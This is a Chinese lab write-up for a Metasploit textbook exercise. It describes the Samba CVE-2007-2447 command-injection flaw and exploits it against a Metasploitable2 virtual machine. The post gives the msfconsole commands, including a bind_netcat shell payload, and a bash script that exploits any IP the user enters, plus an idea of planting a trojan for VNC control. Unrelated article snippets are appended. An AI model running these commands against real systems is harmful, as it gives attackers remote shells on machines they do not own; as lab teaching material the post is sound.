1,

Samba服务

Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,
它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。SMB协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。
通过设置“NetBIOS over TCP/IP”使得Samba不但能与局域网络主机分享资源,还能与全世界的电脑分享资源。

 usermap_script是Samba协议的一个漏洞,ID为CVE-2007-2447,属于远程命令注入漏洞,主要影响Samba的3.0.20到3.0.25rc3 版本。

 当使用非默认的用户名映射脚本配置选项时产生,通过指定一个包含shell元字符的用户名,攻击者能够执行任意命令

漏洞生命周期图:

2007年5月7日:漏洞匿名披露到security@samba.org电子邮件列表中。
2007年5月7日:Samba的开发人员Gerald Carter开始响应这个漏洞。
2007年5月9日:Samba的开发者Jeremy Allison发布了补丁,用于iDefense测试。
2007年5月10日:向vendor-sec邮件列表发布通知。
2007年5月14日:公开漏洞信息。

 

可以在kali 上面找到相关信息:

 

samba官网关于此漏洞的相关信息:

https://www.samba.org/samba/security/CVE-2007-2447.html

漏洞相关链接:

https://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script

2,

更新Metasploit,百度

版本信息:

另外在msfconsole控制台输入banner可以查看metasploit的版本和攻击模块数量,以及metasploit的图标,算是彩蛋吧

3,

下载metasploitable2-Linux 在虚拟机里面,我们先让kali 和 linux互相Ping,看网络是否相通

网络相通了之后,按照书上的教程即可使用usermap_script漏洞获取Linux靶机的权限

我们先使用ifconfig查看两台虚拟机的在局域网内的ip地址,然后互ping

对了,linux靶机的账号和密码都是msfadmin,这个在登录的时候其实已经显示出来了

我们将网络都设置成NAT模式,linux靶机有两张网卡,第一张设置成NAT模式,第二张设置成仅主机模式。

先查看kali的ip地址

kali的ip地址为:10.10.10.128

接着我们查看linux靶机的ip地址,

可以看到这里的页面显示不完全,我们看到的只有第二张网卡即仅主机模式的那张网卡的ip地址,我们重定向一下输出,即

ifconfig > test

然后再 more test

可以看到

ip地址为10.10.10.254

两台虚拟机相互ping一下可知是互通的

接着按照书上的教程一样即可

首先使用samba的usermap_script模块

msf5 > use multi/samba/usermap_script

  接着选择攻击载荷:

msf5 exploit(multi/samba/usermap_script) > set payload cmd/unix/bind_netcat

  可以查看一下选项设置 show options

可以知道我们要设置攻击的ip地址RHOSTS

set RHOSTS 10.10.10.254

  设置好了之后输入exploit即可

可以看到我们已经获取到了会话

尝试植入VNC图形化远程控制工具,网上没有相关的介绍,想法是传一个木马在linux上运行,获取shell之后在meterpreter界面run vnc开启远程桌面

4,

题目是需要我们使用msfcli命令行接口编写shell脚本程序来进行交互,也就是我们只需要输入目标ip就可以获得目标主机的会话。

这里的小知识点是

控制台选项:

-x,--execute-command COMMAND     执行指定的字符串作为控制台命令(使用;用于multiples)

这样我们只需要指定msfconsole执行我们输入的ip地址就可以了。

所以我们编写如下代码,看大佬的代码写的:

echo "this is a shell code for test CVE-2007-4779"
echo "please input target_ip"
read target_ip
echo "the target ip is $target_ip"
echo "please wait--------" msfconsole -x "use multi/samba/usermap_script;set RHOST $target_ip;set payload cmd/unix/bind_netcat;exploit"

  

短暂等待开启msf之后就可以获取输入目标ip的会话了

Metasploit魔鬼训练营第一章作业的更多相关文章

  1. MSF魔鬼训练营第一章 初识Metasploit

    1.1.4渗透测试过程环节 PTES标准7个阶段 1.前期交互阶段      收集客户需求.准备测试计划.定义测试范围与边界.定义业务目标.项目管理与规划等 2.情报搜集阶段      公开来源信息查 ...

  2. OOP 第一章作业总结

    程序设计结构分析 类图分析 第一次作业 由于第一次作业完成的功能比较简单,而且出于对面向对象设计理念不熟悉(其实现在也不是很熟悉,逃),整个程序设计的非常简单.通过类图(见下)可以看出,程序只有两个类 ...

  3. linux系统管理第一章作业

    上机作业: 1.请用命令查出ifconfig命令程序的绝对路径 [root@localhost ~]# which ifconfig /usr/sbin/ifconfig 2.请用命令展示以下命令哪些 ...

  4. 《Metasploit魔鬼训练营》第一章实践作业

    <Metasploit魔鬼训练营>第一章实践作业 1.搜集Samba服务usermap_script安全漏洞的相关信息,画出该安全漏洞的生命周期图,标注各个重要事件点的日期,并提供详细描述 ...

  5. SQL 第二章 作业

    /*第二章 作业*/ create table S ( sno char(2) NOT NULL UNIQUE, sname char(3), city char(2) ); alter table ...

  6. 第一章ASP.NET SignalR简介

    第一章ASP.NET SignalR简介 1.1概述: ASP.NET SignalR是微软新开发的类库,为的是帮助ASP.NET开发人员很方便地开发实时网络功能. SignalR允许服务器端和客户端 ...

  7. Python开发入门14天集训营-第一章

    python第一章 python变量 变量的作用 存数据 被程序调用和操作 标记数据 声明变量 name = "Ydh" 变量名 = 变量值 变量定义规范: 变量名只能是 字母.数 ...

  8. Java第一周作业

    Java第一周作业 本周作业: 参考<<教材学习指导(http://www.cnblogs.com/rocedu/p/7911138.html)) 学习第一章视频 参考<<使用 ...

  9. Linux第一章第二章学习笔记

    第一章 Linux内核简介 1.1 Unix的历史 它是现存操作系统中最强大最优秀的系统. 设计简洁,在发布时提供原代码. 所有东西都被当做文件对待. Unix的内核和其他相关软件是用C语言编写而成的 ...

随机推荐

  1. js给多级复杂动态变量赋值

    1 function SetVal(field, val) { 2 var arr = field.split("."); 3 var str = arr[0]; 4 if (wi ...

  2. Spider_基础总结6--动态网页抓取--selenium

    # 有些网站使用 '检查元素'也不能够好使,它们会对地址进行加密,此时使用Selenium 调用浏览器渲染引擎可以模拟用户的操作,完成抓取: # 注:selenium既可以抓取静态网页也可以抓取动态网 ...

  3. VBA_Copy数据及数据格式_DoLoop删除空行

    Sub copyreport() Application.ScreenUpdating = False Application.Calculation = xlCalculationManual Ap ...

  4. Interface(接口分享)第一节

    一.接口初探 有时候我们传入的参数可能会包含很多的属性,但是编译器只会检查那些必须的属性是否存在,以及类型是否匹配,而咱们要讲的接口其实就是用来描述下面这个例子里的结构,对于接口传入的数据咱们只关心它 ...

  5. kafak ack应答机制

    ack 应答机制 对于某些不太重要的数据,对数据的可靠性要求不是很高,能够容忍数据的少量丢失, 所以没必要等 ISR 中的 follower 全部接收成功. 所以 Kafka 为用户提供了三种可靠性级 ...

  6. 基于FFmpeg的Dxva2硬解码及Direct3D显示(三)

    初始化Direct3D 目录 初始化Direct3D 创建Direct3D物理设备对象实例 创建Direct3D渲染设备实例 创建Direct3D视频解码服务 Direct3D渲染可以通过Surfac ...

  7. 前端JS下载文件总结

    Data URLs Data URLs: 即前缀为data: 协议的URL,其允许内容创建者向文档中嵌入小文件. 例如:可以直接在HTML中的img元素直接使用Data URLs : data:[&l ...

  8. python实现一个无序单链表

    class Node: """先定一个node的类""" def __init__(self, value=None, next=None) ...

  9. 从本质上学会基于HarmonyOS开发Hi3861(主要讲授方法)

    引言:花半秒钟就看透事物本质的人,和花一辈子都看不透事物本质的人,注定是截然不同的命运 做开发也一样,如果您能看透开发的整个过程,就不会出现"学会了某个RTOS的开发,同样的RTOS开发换一 ...

  10. mybatis中的一些标签使用

    主要有两个配置文件,一个是主配置文件SqlConfig.xml, 还有一个是dao接口实现类相对应的mapper的配置文件 .比如userDao的userDao.xml配置文件. 1.resultTy ...